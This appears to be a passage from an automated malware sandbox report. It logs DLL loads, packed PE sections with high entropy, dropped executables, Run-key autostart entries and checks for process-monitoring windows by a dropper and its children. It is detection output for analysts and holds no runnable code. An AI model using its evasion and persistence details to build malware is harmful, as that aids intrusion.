Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Section loaded: netutils.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000026002\cee706a53f.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1928192 > 1048576

Source: file.exe

Static PE information: Raw size of mmzmokro is bigger than: 0x100000 < 0x1a5200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mmzmokro:EW;mnjwdapr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Unpacked PE file: 10.2.8a145ab7b3.exe.d80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;
Source: C:\Users\user\1000026002\cee706a53f.exe	Unpacked PE file: 11.2.cee706a53f.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Unpacked PE file: 18.2.8a145ab7b3.exe.d80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;
Source: C:\Users\user\1000026002\cee706a53f.exe	Unpacked PE file: 23.2.cee706a53f.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Unpacked PE file: 24.2.8a145ab7b3.exe.d80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;
Source: C:\Users\user\1000026002\cee706a53f.exe	Unpacked PE file: 27.2.cee706a53f.exe.750000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 8a145ab7b3.exe.8.dr	Static PE information: real checksum: 0x1cb7f9 should be: 0x1d1f25
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x1cb7f9 should be: 0x1d1f25
Source: cee706a53f.exe.8.dr	Static PE information: real checksum: 0x1cb7f9 should be: 0x1d1f25
Source: file.exe	Static PE information: real checksum: 0x1dc4d4 should be: 0x1d82ca
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1dc4d4 should be: 0x1d82ca

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mmzmokro
Source: file.exe	Static PE information: section name: mnjwdapr
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: mmzmokro
Source: skotes.exe.0.dr	Static PE information: section name: mnjwdapr
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: spyqlfjc
Source: random[1].exe.8.dr	Static PE information: section name: scxfhudm
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name:
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: .rsrc
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: .idata
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name:
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: spyqlfjc
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: scxfhudm
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: .taggant
Source: cee706a53f.exe.8.dr	Static PE information: section name:
Source: cee706a53f.exe.8.dr	Static PE information: section name: .rsrc
Source: cee706a53f.exe.8.dr	Static PE information: section name: .idata
Source: cee706a53f.exe.8.dr	Static PE information: section name:
Source: cee706a53f.exe.8.dr	Static PE information: section name: spyqlfjc
Source: cee706a53f.exe.8.dr	Static PE information: section name: scxfhudm
Source: cee706a53f.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00D9D91C push ecx; ret

8_2_00D9D92F

Source: file.exe	Static PE information: section name: entropy: 7.973222006352061
Source: file.exe	Static PE information: section name: mmzmokro entropy: 7.95328168107565
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.973222006352061
Source: skotes.exe.0.dr	Static PE information: section name: mmzmokro entropy: 7.95328168107565
Source: random[1].exe.8.dr	Static PE information: section name: spyqlfjc entropy: 7.9536919163300555
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: spyqlfjc entropy: 7.9536919163300555
Source: cee706a53f.exe.8.dr	Static PE information: section name: spyqlfjc entropy: 7.9536919163300555

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\1000026002\cee706a53f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a145ab7b3.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cee706a53f.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\1000026002\cee706a53f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Window searched: window name: FilemonClass
